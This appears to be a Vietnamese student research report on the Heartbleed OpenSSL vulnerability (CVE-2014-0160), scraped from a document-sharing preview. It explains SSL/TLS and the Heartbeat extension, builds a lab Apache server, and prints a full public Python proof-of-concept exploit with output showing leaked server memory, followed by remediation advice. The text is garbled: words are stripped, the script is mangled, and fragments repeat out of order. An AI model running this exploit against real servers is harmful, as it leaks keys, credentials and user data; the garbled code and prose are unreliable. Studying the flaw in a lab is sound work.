Tìm hiểu lỗ hổng bảo mật Heartbleed Đề tài nghiên cứu khoa học

32 1.3K 16
Tìm hiểu lỗ hổng bảo mật Heartbleed  Đề tài nghiên cứu khoa học

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Lỗ hổng Heartbleed là một lỗ hổng nghiêm trọng trong thư viện phần mềm mã hoá phổ biến là OpenSSL. Điểm yếu này cho phép ăn cắp những thông tin đã được bảo vệ, trong điều kiện bình thường, bởi mã hoá SSLTLS được sử dụng để đảm bảo an toàn cho Internet. SSLTLS cung cấp an toàn thông tin liên lạc và sự riêng tư trên Internet cho các ứng dụng như web, email, tin nhắn tức thời (IM) và một số mạng riêng ảo (VPNs). Lỗ hổng Heartbleed được độc lập tìm ra bởi nhóm các chuyên gia bảo mật (Riku, Antti, Matti) tại công ty Codenomicon, trong quá trình nâng cấp tính năng SafeGuard của công ty quét lỗi bảo mật Defensics. Lỗ hổng được công bố vào ngày 7 tháng 4 năm 2014 với CVE20140160.

Mục lục Mục lục CHƯƠNG TỔNG QUAN Lỗ hổng Heartbleed 2 Độ nguy hiểm lỗ hổng Heartbleed 3 Tác động Heartbleed phạm vi toàn cầu CHƯƠNG II HEARTBLEED ATTACK Cơ mã hoá SSL/TLS Heartbeat Extension 10 Chương III Demo 16 Xây dựng lab phục vụ cho demo .16 Thực công: 24 Khắc phục lỗ hổng Heartbleed hậu lỗ hổng gây 29 IV TỔNG KẾT 31 TÀI LIỆU THAM KHẢO 31 CHƯƠNG TỔNG QUAN Lỗ hổng Heartbleed Hình 1: Heartbleed Logo Lỗ hổng Heartbleed lỗ hổng nghiêm trọng thư viện phần mềm mã hoá phổ biến OpenSSL Điểm yếu cho phép ăn cắp thông tin bảo vệ, điều kiện bình thường, mã hoá SSL/TLS sử dụng để đảm bảo an toàn cho Internet SSL/TLS cung cấp an toàn thông tin liên lạc riêng tư Internet cho ứng dụng web, email, tin nhắn tức thời (IM) số mạng riêng ảo (VPNs) Lỗ hổng Heartbleed độc lập tìm nhóm chuyên gia bảo mật (Riku, Antti, Matti) công ty Codenomicon, trình nâng cấp tính SafeGuard công ty quét lỗi bảo mật Defensics Lỗ hổng công bố vào ngày tháng năm 2014 với CVE-2014-0160 Độ nguy hiểm lỗ hổng Heartbleed Hình 2: Độ nguy hiểm lỗ hổng Heartbleed Lỗ hổng Heartbleed cho phép Internet đọc nhớ hệ thống bảo vệ điểm yếu vài phiên phần mềm OpenSSL Điều gây ảnh hưởng đến khoá bí mật sử dụng để xác định nhà cung cấp dịch vụ mã hoá đường truyền, tên đăng nhập mật người dùng nội dung thực tế Nó cho phép kẻ công nghe trộm thông tin liên lạc, đánh cắp liệu trực tiếp từ dịch vụ người dùng để mạo danh dịch vụ người dùng Bruce Schneier, nhà mật mã học tiếng đánh giá lỗi Heartbleed “Nếu theo thang điểm từ tới 10, đánh giá tính nguy hiểm điểm yếu 11” Do đó, người dùng cần update chương trình OpenSSL, thay đổi khóa, dùng chứng an toàn mới, thay đổi mật tất website vòng năm qua điểm yếu khai thác sử dụng kẻ xấu Cũng có chứng cho thấy việc quét nhớ máy chủ sử dụng điểm yếu xuất từ năm 2013 Điều chứng tỏ rằng, biết đến điểm yếu từ trước Sau vài ngày công khai lỗ hổng bảo mật này, chuyên gia lập trình người Đức, Robin Seggelmann nói: anh ta, ngày 01/01/2012 đề xuất mã mở rộng Heartbeat cho giao thức TLS (RFC 6520) tiến trình không thực việc kiểm tra giới hạn cần thiết Seggelmann nói rằng, việc bỏ sót lỗi đoạn mã sơ xuất, nhóm kiểm tra chương trình mã vào hoạt động mà không nhận lỗi Việc kiểm tra giới hạn lẽ phải thực theo nguyên tắc xây dựng mã nguồn mở Robin Seggelmann chuyên gia lập trình tiếng giới mã nguồn mở Sau việc này, Robin Seggelmann hy vọng nhiều chuyên gia quan tâm tham gia vào việc hạn chế nhanh chóng phát lỗi dự án mã nguồn mở Tác động Heartbleed phạm vi toàn cầu OpenSSL thư viện mã hoá phổ biến sử dụng máy chủ web Apache Nginx, sử dụng dịch vụ bảo mật tầng giao vận (TLS) tên Heartbeat phần mở rộng thêm vào TLS vào năm 2012 Theo nghiên cứu Netcraft (năm 2014) pache Nginx chiếm 66% dịch vụ máy chủ sử dụng trang web hoạt động Internet Ngoài ra, OpenSSL sử dụng để bảo vệ máy chủ email, máy chủ tin nhắn (giao thức XMPP), mạng riêng ảo (SSL VPN), thiết bị mạng nhiều phần mềm khác Nhà nghiên cứu bảo mật Robert Graham thực việc “quét Internet” phát có 600.000 máy chủ bị lỗi Heartbleed, bao gồm yahoo.com, mgur.com, flickr.com, hidemyass.com Do lỗi Heartbleed mà Cơ quan Thuế Canada phải tạm dừng dịch vụ thu thuế điện tử dịch vụ Soundcloud phải đăng xuất tất người dùng để sửa lỗi bảo mật Yahoo với 800 triệu người dùng gặp phải lỗi Hình 3: Phạm vi ảnh hưởng lỗ hổng Heartbleed CHƯƠNG II HEARTBLEED ATTACK Cơ mã hoá SSL/TLS SSL/TLS sử dụng để mã hoá liệu bí mật gửi thông qua mạng lưới không an toàn ví dụ Internet Trong giao thức HTTPS, SSL/TLS sử dụng để mã hoá bao gồm URL, HTTP header, cookies liệu nhập vào thông qua mẫu Một trang web đảm bảo an toàn với SSL/TLS có URL bắt đầu với "https://" Giao thức bảo mật SSL/TLS hoat động lớp ứng dụng lớp giao vận, nơi mà bảo mật, sau gửi liệu ứng dụng tới tầng giao vận Vì SSL/TLS làm việc lớp ứng dụng lớp giao vận, SSL/TLS phục vụ nhiều giao thức tầng ứng dụng Giao thức SSL/TLS chia thành lớp nhỏ Lớp lớp giao thức bắt tay, lớp chứa ba giao thức nhỏ: giao thức bắt tay, giao thức chuyển đổi mã đặc tả, giao thức cảnh báo Lớp thứ hai giao thức ghi a, Lớp bắt tay Lớp bắt tay chứa ba giao thức nhỏ: - Bắt tay: sử dụng để dàn xếp thông tin phiên máy trạm máy chủ Thông tin phiên chứa định danh phiên (session ID), chứng ngang hàng, đặc tả mã sử dụng, thuật toán nén sử dụng bí mật chia sẻ sử dụng để tạo khoá - Chuyển đổi mã đặc tả: sử dụng để thay đổi liệu tạo khoá sử dụng để mã hoá máy chủ máy trạm Dữ liệu tạo khoá liệu thô sử dụng cho tạo khoá mà trình mã hoá sử dụng Giao thức chuyển đổi mã đặc tả bao gồm thông điệp để nói với bên phiên SSL/TLS, hay gọi ngang hàng, người gửi muốn thay đổi tập khoá Khoá tính toán từ thông tin trao đổi giao thức bắt tay - Cảnh báo: tin nhắn cảnh báo sử dụng để biểu thị thay đổi trạng thái lỗi điều kiện tới bên ngang hàng Có nhiều dạng cảnh báo để nhắc nhở bên ngang hàng bình thường lỗi điều kiện Danh sách đầy đủ tìm thấy RFC 2246: "Giao thức TLS phiên 1.0" Cảnh báo phổ biến gửi kết nối bị đóng, nhận tin nhắc không xác định, tin nhắn giải mã, người dùng thoát ứng dụng Chức giao thức bắt tay: Giao thức bắt tay cung cấp số chức bảo mật vô quan trọng Nó thực chuỗi trao đổi bắt đầu xác thực thoả thuận mã hoá, mã băm, thuật toán nén * Xác thực: Với mục đích xác thực, giao thức bắt tay sử dụng chứng X.509 để cung cấp chứng mạnh tới bên thứ hai, giúp định danh bên giữ chứng mã bí mật tương ứng Một chứng dạng định danh số mà thường đảm bảo quan chứng thực (CA) chứa thông tin định danh, thời hạn có hiệu lực, khoá công khai, chuỗi số, chữ ký số người phát hành Một CA tổ chức thứ ba đáng tin cậy mà xác nhận định danh người yêu cầu chứng (thường người hay máy tính), cung cấp cho người yêu cầu chứng Chứng liên kết định danh người yêu cầu với khoá công khai Các CA cấp thu hồi chứng cần thiết * Mã hoá: Có hai loại mã hoá chính: khoá đối xứng ( biết đến khoá bí mật) khoá bất đối xứng ( biết đến khoá công khai khoá bí mật) SSL/TLS sử dụng mã hoá khoá đối xứng khoá bất đối xứng - Khoá đối xứng: mã hoá khoá đối xứng, khoá giống sử dụng để mã hoá giải mã tin nhắn Nếu hai phần muốn trao đổi tin nhắn mã hoá an toàn, chúng cần sở hữu khoá đối xứng giống Mật mã khoá đối xứng thường sử dụng cho mã hoá lượng lớn liệu trình tính toán nhanh so với mật mã khoá bất đối xứng Thuật toán bao gồm DES ( Data Encryption Standard), 3-DES (Triple DES), RC2, RC4 AES (Advanced Encrypt Standard) - Khoá bất đối xứng: Khoá bất đối xứng hay mà mã hoá khoá công khai sử dụng cặp khoá mà có nguồn gốc với thông qua trình tính toán phức tạp Một khoá công khai, thường cách hỏi CA để xuất khoá công khai chứng cho người giữ chứng ( gọi chủ thể) Khoá bí mật giữ bí mật chủ thể không chia sẻ cho Các khoá làm việc nhau, với sử dụng cho trình trái ngược nhau: Nếu khoá công khai sử dụng để mã hoá liệu, có khoá bí mật cặp khoá giải mã nó; khoá bí mật sử dụng để mã hoá, khoá công khai sử dụng để giải mã Mối quan hệ cho phép chương trình mã hoá khoá công khai làm hai việc quan trọng Đầu tiên, có khoá công khai chủ thể sử dụng để mã hoá liệu mà người dùng với khoá bí mật giải mã Thử hai, chủ thể mã hoá liệu sử dụng khoá bí mật, giải mã liệu sử dụng khoá công khai đắn Cái tảng cho chữ ký số Thuật toán phổ biến RSA (Rivest, Shamir Adleman) SSL/TLS sử dụng khoá công khai để xác thực máy chủ tới máy trạm, không bắt buộc máy trạm tới máy chủ Mật mã khoá công khai sử dụng để thiết lập khoá phiên Khoá phiên sử dụng thuật toán đối xứng để mã hoá khối lượng lớn liệu Điều kết hợp lợi ích mã hoá bất đối xứng cho xác thực nhanh hơn, xử lý chuyên sâu cho mã hoá khoá đối xứng với khối lượng lớn * Thuật toán băm Trong trình bắt tay, thuật toán băm thảo thuận Một băm ánh xạ chiếu giá trị cho tập nhỏ giá trị cung cấp ban đầu, kích thước kêt băm nhỏ tin nhắn ban đầu băm cho liệu nguyên thuỷ Một băm giống với vân tay: vân tay cho người nhỏ so với thân thể người Quá trình băm sử dụng để thiết lập tính toán vẹn liệu chuyển Hai thuật toán băm phổ biến MD5 (Mesage Digest) SHA-1 ( Standard Hash Algorithm 1) MD5 cung cấp giá trị băm 128 bit SHA-1 cung cấp giá trị 160 bit Thuật toán băm bao gồm giá trị sử dụng để kiểm tra tính toàn vẹn liệu trao đổi Giá trị thiết lập sử dụng MAC HMAC MAC sử dụng chức ánh xạ để biểu diễn liệu tin nhắn dạng độ dài cố định, tốt nhỏ hơn, tính toán sau băm tin nhắn MAC đảm bảo liệu không bị thay đổi trình truyền thông Sự khác MAC chữ ký số chữ ký số phương pháp xác thực SSL sử dụng MAC HMAC giống với MAC sử dụng thuật toán băm kết hợp với khoá bí mật Khoá bí mật thêm vào liệu để băm Điều làm cho băm an toàn hai bên cần có giống khoá bí mật để chứng minh liệu xác thực TLS sử dụng HMAC b, Lớp ghi Giao thức lớp ghi nhận mã hoá liệu từ lớp ứng dụng, sau chuyển tới lớp giao vận Giao thức ghi phân mảnh liệu tới kích thước phù hợp với thuật toán mã hoá, tuỳ chọn nén (hoặc với liệu nhận giải nén nó), gắn vào MAC HMAC (HMAC cung cấp TLS) sau mã hoá (hoặc giải mã) liệu sử dụng thông tin thoả thuận giao thức bắt tay Heartbeat Extension HeartBeat Extension thiết kế cho Transport Layer Security (TLS) Datagram Transport Layer Security (DTLS) DTLS đưcọ thiết kế để bảo vệ cho giao thức gửi không tin cậy Thông thường, giao thức dạng quản lý phiên Cơ chế khả dụng lớp DTLS tìm đối tượng sống TLS dựa giao thức đáng tin cậy Tuy nhiên không phù hợp để giữ kết nối sau tình truyền tin kết thúc Heartbeat Extension đời nhằm khắc phục nhược điểm Người dùng sử dụng tin nhắn HeartbeatRequest gửi đến máy khác để kiểm tra nhận lại tin nhắn HeartbeatResponse ServerName 192.168.43.70:443 DocumentRoot /var/www Options FollowSymLinks AllowOverride None Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all ErrorLog ${APACHE_LOG_DIR}/error.log # Possible values include: debug, info, notice, warn, error, crit, # alert, emerg LogLevel warn CustomLog ${APACHE_LOG_DIR}/ssl_access.log combined Alias /doc/ "/usr/share/doc/" Options Indexes MultiViews FollowSymLinks AllowOverride None Order deny,allow Deny from all Allow from 127.0.0.0/255.0.0.0 ::1/128 # SSL Engine Switch: # Enable/Disable SSL for this virtual host SSLEngine on # A self-signed (snakeoil) certificate can be created by installing # the ssl-cert package See # /usr/share/doc/apache2.2-common/README.Debian.gz for more info # If both key and certificate are stored in the same file, only the # SSLCertificateFile directive is needed SSLCertificateFile /etc/apache2/ssl/webserver.crt SSLCertificateKeyFile /etc/apache2/ssl/webserver.key • Kích hoạt VirtualHost: root@ubuntu:/etc/apache2/sites-available# a2ensite default-ssl perl: warning: Setting locale failed perl: warning: Please check that your locale settings: LANGUAGE = (unset), LC_ALL = (unset), LC_PAPER = "en_GB.UTF-8", LC_ADDRESS = "en_GB.UTF-8", LC_MONETARY = "en_GB.UTF-8", LC_NUMERIC = "en_GB.UTF-8", LC_TELEPHONE = "en_GB.UTF-8", LC_IDENTIFICATION = "en_GB.UTF-8", LC_MEASUREMENT = "en_GB.UTF-8", LC_TIME = "en_GB.UTF-8", LC_NAME = "en_GB.UTF-8", LANG = "en_US.UTF-8" are supported and installed on your system perl: warning: Falling back to the standard locale ("C") Enabling site default-ssl To activate the new configuration, you need to run: service apache2 reload root@ubuntu:/etc/apache2/sites-available# service apache2 restart * Restarting web server apache2 apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName [ OK ] Như hoàn thành cấu hình cho Apache SSL máy chủ, bây đến https://192 168.43.70 để kiểm tra: Như phía thấy lỗi gây chứng máy chủ gửi cho trình duyệt không xác nhận định danh site, cần thêm vào ngoại lệ Máy chủ làm việc chạy máy chủ web Apache phục vụ kết nối SSL thực công sử dụng lỗ hổng Hearbleed Để xác định chắn, thực quét máy chủ: kma@kma-Satellite-C840:~$ sudo nmap -sS -Pn -A 192.168.43.70 Starting Nmap 6.40 ( http://nmap.org ) at 2015-01-15 13:26 ICT Nmap scan report for ubuntu (192.168.43.70) Host is up (0.00047s latency) Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: 1024 69:b0:7c:7e:c8:8a:cd:ef:b6:50:03:95:5e:6e:d0:2c (DSA) | 2048 21:b9:9e:6d:2b:91:3b:c3:a9:d4:e2:63:62:4f:8b:39 (RSA) |_256 4c:2f:cf:0d:4b:15:20:53:32:60:97:86:23:8b:dc:5f (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html) 443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html) |ssl-cert: Subject: commonName=ubuntu.example.com/organizationName=KMA/stateOrProvinceName=HN/co untryName=VN | Not valid before: 2015-01-15T05:55:41+00:00 |_Not valid after: 2016-01-15T05:55:41+00:00 |_ssl-date: 2015-01-15T06:26:49+00:00; 0s from local time MAC Address: 08:00:27:84:9B:29 (Cadmus Computer Systems) No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ) TCP/IP fingerprint: OS:SCAN(V=6.40%E=4%D=1/15%OT=22%CT=1%CU=36516%PV=Y%DS=1%DC=D %G=Y%M=080027%T OS:M=54B75DA9%P=x86_64-pc-linux-gnu)SEQ(SP=109%GCD=2%ISR=10A%TI=Z %CI=I%TS=8 OS:)SEQ(SP=109%GCD=1%ISR=10A%TI=Z%CI=RD%II=I %TS=8)OPS(O1=M5B4ST11NW7%O2=M5B OS:4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6= M5B4ST11)WIN(W OS:1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y %T=40%W=7210% OS:O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS %RD=0%Q=)T2(R=N)T3(R= OS:N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y %T=40%W=0%S=Z%A OS:=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O= %RD=0%Q=)T7(R=Y%D OS:F=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N %T=40%IPL=164%UN=0%RIPL OS:=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 0.47 ms ubuntu (192.168.43.70) OS and Service detection performed Please report any incorrect results at http://nmap.org/submit/ Nmap done: IP address (1 host up) scanned in 30.38 seconds Thực công: Chúng ta có mã khai thác công khai viết Python: #!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', ' port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting ' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello ' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello ' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request ' sys.stdout.flush() s.send(hb) hit_hb(s) if name == ' main ': main() Lưu mã khai thác với tên attack_demo.py, thực việc công cách sau: root@kali:!# python attack_demo.py 192.168.43.70 Connecting Sending Client Hello Waiting for Server Hello received message: type = 22, ver = 0302, length = 58 received message: type = 22, ver = 0302, length = 949 received message: type = 22, ver = 0302, length = 525 received message: type = 22, ver = 0302, length = Sending heartbeat request received message: type = 24, ver = 0302, length = 16384 Received heartbeat response: 0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C @ SC[ r 0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 + H 0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 w.3 f " 0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8 .5 0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 3.2 0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 E.D / 0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A 0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 I 00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 00 0E 00 0D # 00e0: 00 19 00 0B 00 0C 00 18 00 09 00 0A 00 16 00 17 00f0: 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 0100: 00 13 00 01 00 02 00 03 00 0F 00 10 00 11 00 23 .# 0110: 00 00 00 0D 00 20 00 1E 06 01 06 02 06 03 05 01 0120: 05 02 05 03 04 01 04 02 04 03 03 01 03 02 03 03 0130: 02 01 02 02 02 03 00 0F 00 01 01 5C E0 34 C2 16 \.4 0140: C0 B4 87 62 EE 4F 20 31 35 20 41 70 72 20 32 30 b.O 15 Apr 20 0150: 31 34 20 31 39 3A 32 34 3A 34 38 20 47 4D 54 0D 14 19:24:48 GMT 0160: 0A 49 66 2D 4E 6F 6E 65 2D 4D 61 74 63 68 3A 20 If-None-Match: 0170: 22 62 31 2D 34 66 37 31 39 63 30 64 38 33 34 39 "b1-4f719c0d8349 0180: 32 2D 67 7A 69 70 22 0D 0A 0D 0A B2 A7 D1 0F 7E 2-gzip" ~ 0190: 89 FC 77 A8 0A 1A A9 53 AA B3 03 00 00 00 00 00 w S 01a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … WARNING: server returned more data than it should - server is vulnerable! Từ kết nhận được, thấy có thông tin bị đánh cắp khỏi máy chủ, chứng tỏ công thành công Khắc phục lỗ hổng Heartbleed hậu lỗ hổng gây Lời khuyên cho doanh nghiệp: - Đây lỗ hổng bảo mật thuộc thư viện OpenSSL lỗi nằm SSL/TLS hay chứng nhận Symantec đưa Bất kỳ sử dụng OpenSSL 1.0.1 tới 1.0.1f nên cập nhật vá phần mềm (1.0.1g) thiết lập lại OpenSSL để loại bỏ Heartbleed - Sau nâng cấp lên phiên OpenSSL vá lỗi, bạn nghi ngờ chứng nhận máy chủ web bạn bị lộ, lấy cắp bị khai thác, liên hệ với đơn vị cấp chứng nhận để thay - Cuối cùng, doanh nghiệp nên cân nhắc thiết lập lại mật người dùng cuối - bị lộ nhớ máy chủ Lời khuyên cho người dùng cuối: - Người dùng cuối nên cảnh giác liệu bị lộ cho bên thứ ba sử dụng nhà cung cấp dịch vụ có chứa lỗ hổng bảo mật - Theo dõi để biết thông báo từ nhà cung cấp dịch vụ bạn sử dụng Khi nhà cung cấp dịch vụ liên hệ thông báo với người dùng nên thay mật khẩu, người dùng nên làm - Tránh email lừa đảo từ kẻ công yêu cầu bạn cập nhật mật khẩu, tránh truy nhập vào website lạ, nên truy nhập vào tên miền thống - Sử dụng dịch vụ website uy tín họ người vá lỗ hổng bảo mật - Theo dõi tài khoản ngân hàng thẻ tín dụng để phát khoản chi tiêu bất thường Lời khuyên khác - Tránh truy nhập vào tên miền lạ với phần mềm trình khách - Ngừng sử dụng dịch vụ proxy chưa vá lỗi - Cập nhật phần cứng phần mềm nhà sản xuất công bố vá - Sử dụng trình khách VPN dịch vụ đảm bảo không bị ảnh hưởng Heartbleed truy nhập mạng công cộng IV TỔNG KẾT Lỗ hổng Heartbleed lỗ hổng vô nguy hiểm TÀI LIỆU THAM KHẢO STT Tên tài liệu Tên tác giả The Heartbleed CODENOMI Bug CVE-2014-0160 OpenSSL Link http://heartbleed.com/ CON https://cve.mitre.org/cgi-bin/cvename.cgi? us-cert.gov name=CVE-2014-0160 https://www.us-cert.gov/ncas/alerts/TA14-098A 'Heartbleed' vulnerability (CVE-2014-0160) OpenSSL openssl.org vulnerabilities Heartbleed Cyberoam wikipedia http://en.wikipedia.org/wiki/Heartbleed http://kb.cybe http://kb.cyberoam.com/default.asp?id=2909&Lan Security Advisory roam.com https://www.openssl.org/news/vulnerabilities.html - Heartbleed Vulnerability in OpenSS What Heartbleed Patrick http://www.kalzumeus.com/2014/04/09/what- Can Teach The heartbleed-can-teach-the-oss-community-about- OSS Community marketing/ About Marketing [...]... đã thành công 3 Khắc phục lỗ hổng Heartbleed và hậu quả do lỗ hổng gây ra Lời khuyên cho các doanh nghiệp: - Đây là một lỗ hổng bảo mật thuộc thư viện OpenSSL và không phải là lỗi nằm trong SSL/TLS hay những chứng nhận được Symantec đưa ra Bất kỳ ai đang sử dụng OpenSSL 1.0.1 tới 1.0.1f nên cập nhật bản vá mới nhất của phần mềm (1.0.1g) hoặc thiết lập lại OpenSSL để loại bỏ Heartbleed - Sau khi nâng... bị ảnh hưởng bởi Heartbleed khi truy nhập trên các mạng công cộng IV TỔNG KẾT Lỗ hổng Heartbleed là một lỗ hổng vô cùng nguy hiểm TÀI LIỆU THAM KHẢO STT Tên tài liệu Tên tác giả 1 The Heartbleed CODENOMI 2 3 Bug CVE-2014-0160 OpenSSL Link http:/ /heartbleed. com/ CON https://cve.mitre.org/cgi-bin/cvename.cgi? us-cert.gov name=CVE-2014-0160 https://www.us-cert.gov/ncas/alerts/TA14-098A 'Heartbleed' vulnerability... tiên vá lỗ hổng bảo mật này - Theo dõi tài khoản ngân hàng và thẻ tín dụng để phát hiện những khoản chi tiêu bất thường nào Lời khuyên khác - Tránh truy nhập vào những tên miền lạ với bất kỳ phần mềm trình khách nào - Ngừng sử dụng các dịch vụ proxy chưa được vá lỗi - Cập nhật phần cứng và phần mềm ngay khi nhà sản xuất công bố bản vá - Sử dụng một trình khách VPN và những dịch vụ được đảm bảo không... bị lộ cho một bên thứ ba vì sử dụng nhà cung cấp dịch vụ có chứa lỗ hổng bảo mật - Theo dõi để biết bất kỳ thông báo nào từ nhà cung cấp dịch vụ bạn sử dụng Khi nhà cung cấp dịch vụ liên hệ và thông báo với người dùng rằng nên thay mật khẩu, người dùng nên làm như vậy - Tránh những email lừa đảo từ những kẻ tấn công yêu cầu bạn cập nhật mật khẩu, tránh truy nhập vào những website lạ, chỉ nên truy nhập... OpenSSL openssl.org 5 6 vulnerabilities Heartbleed Cyberoam wikipedia http://en.wikipedia.org/wiki /Heartbleed http://kb.cybe http://kb.cyberoam.com/default.asp?id=2909&Lan Security Advisory roam.com https://www.openssl.org/news/vulnerabilities.html - Heartbleed Vulnerability in 7 OpenSS What Heartbleed Patrick http://www.kalzumeus.com/2014/04/09/what- Can Teach The heartbleed- can-teach-the-oss-community-about-... III Demo 1 Xây dựng lab phục vụ cho demo Chuẩn bị: Mã khai thác: http://www.garage4hackers.com/entry.php?b=2551 Máy chủ chứa lỗi: Ubuntu 12.04 LTS http://www.ubuntu.com/download/server Đầu tiên, chúng ta sẽ cấu hình dịch vụ Apache với SSL phục vụ trên Ubuntu để khám phá lỗ hổng Heartbleed Trên máy chủ ubuntu, chúng ta sẽ thực hiện các bước sau: • Kích hoạt module SSL và khởi động lại máy chủ web Apache:... bây đi đến https://192 168.43.70 để kiểm tra: Như phía trên chúng ta thấy lỗi gây ra là do chứng chỉ của máy chủ gửi cho trình duyệt không được xác nhận định danh của site, chúng ta cần thêm nó vào ngoại lệ Máy chủ đang làm việc và chạy máy chủ web Apache phục vụ các kết nối SSL và chúng ta có thể thực hiện tấn công nó sử dụng lỗ hổng Hearbleed Để xác định chắc chắn, chúng ta có thể thực hiện quét máy... khoảng thời gian timeout mà không nhận được gói tin HeartBeatResponse thì kết nối DTLS được chấm dứt để bắt đầu gửi lại Trong các chương trình gửi lại sẽ có cơ chế để đảm bảo không có nhiều gói tin HeartRequest được gửi cùng một lúc, 